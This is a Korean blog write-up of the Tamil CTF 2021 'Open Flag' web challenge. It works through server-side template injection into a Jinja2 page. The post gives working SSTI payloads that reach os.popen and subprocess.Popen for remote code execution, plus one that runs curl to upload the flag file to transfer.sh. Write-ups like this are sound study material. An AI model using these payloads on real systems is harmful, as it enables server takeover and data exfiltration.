티스토리 뷰

보안/CTF

[Web] Open Flag 2021 Tamil CTF Writeup

돔돔이부하 2021. 9. 30. 00:46
728x90
반응형

문제 설명 : What is open flag challenge ? I will tell the location of flag where its located, you just need to access that flag

문제 설명을 보면 flag 의 위치를 알려줄테니깐 찾아서 접근해보라고 합니다. 처음에는 아래와 같은 페이지가 나옵니다.

이 문제는 SSTI를 공부하게 해주는 문제였는데, 점수는 434점으로 Web 문제에서 3번째로 쉬운 문제였습니다.

로그인 폼이라기 보다는 회원가입 폼처럼 생긴 input 과 버튼이 있습니다.

우선 Register 버튼을 눌러보았더니 아래와 같은 페이지가 나왔습니다.

뭔가 회원가입이 될 줄 알았던 반면에 위와 같은 페이지가 나오면서 flag 의 location을 알려줍니다.

 

우선 URL에 /flag.jpg 를 쳐보았지만 접속은 되지 않았습니다.

http://3.98.127.87:8008/flag.jpg

그래서 다시 첫 페이지로 돌아가서 살펴보았습니다.

username 과 password 에 test 와 test를 입력해서 접속해보 소스코드를 봤을 때 아래와 같이 나왔습니다.

<html>
<head><title>Open Flag Challenge</title></head>
<body>
<center>

<h1>Open Flag Challenge</h1>
<br><br>

<h3>CTF is a challenge where flag will be hidden <br>
    somewhere, but this challenge is different from that <br>
    the flag location will be given in this challenge thats <br>
    why its called open flag challenge <br>
    <br><br>

<table border='1' cellpadding='10'>
<tr>
<td>flag location : ./flag.jpg </h3>
</tr>
</table>

</center>
<!-- Hello test  -->
<!-- ======================================== -->
<!-- I asked the developer to keep the page as much as simple you can -->
<!-- ======================================== -->
<!-- But i didnt expect this, he made very simple -->
<!-- ======================================== -->
</body>
</html>

제가 입력한 test 라는 username이 아래 주석문에 들어간 것을 확인할 수 있었습니다.

이 때 해볼 수 있는 것은 Reflected Cross Site Script 도 가능하겠지만, 여기서 별다른 의미는 없을 것 같아서 SSTI 를 바로 시도해보았습니다.

 

Remote Code Execution 을 위한 SSTI 공격 방법은 다양하게 있습니다.

{{ config.__class__.__init__.__globals__['os'].popen('ls').read() }}
{{"".__class__.__mro__[1].__subclasses__()[408]('ls',shell=True,stdout=-1).communicate()[0].decode()}}

첫 번째 줄처럼 os.popen 모듈을 불러와도 되고 두 번째 줄처럼 subprocess.popen 을 불러와서 사용해도 되겠습니다.

결과는 둘 모두 아래와 같이 나옵니다.

<!-- Hello app.py
flag.jpg
static
templates
  -->
<!-- ======================================== -->
<!-- I asked the developer to keep the page as much as simple you can -->
<!-- ======================================== -->
<!-- But i didnt expect this, he made very simple -->
<!-- ======================================== -->

플래그 값이 jpg 인 것을 알 수 있습니다.

jpg 파일은 cat flag.jpg 해서 binary hex 값을 출력시켜서 자체적으로 jpg 파일을 만들어도 되지만, 보다 쉬운 방법은 서버에서 jpg 파일을 다른 서버로 업로드하게 하는 것입니다. 좋은 사이트로는 https://transfer.sh/ 라는 사이트가 있습니다.

curl http://transfer.sh --upload-file flag.jpg

{{"".__class__.__mro__[1].__subclasses__()[408]('curl http://transfer.sh --upload-file flag.jpg',shell=True,stdout=-1).communicate()[0].decode()}}

위 명령어를 실행시켜서 업로드 해보았습니다.

그럼 아래와 같이 주석이 나옵니다. 해당 URL 주소로 접속하게 되면 파일 내용을 볼 수 있게 됩니다.

<!-- Hello http://transfer.sh/A5qGIH/flag.jpg  -->
<!-- ======================================== -->
<!-- I asked the developer to keep the page as much as simple you can -->
<!-- ======================================== -->
<!-- But i didnt expect this, he made very simple -->
<!-- ======================================== -->

728x90
반응형
댓글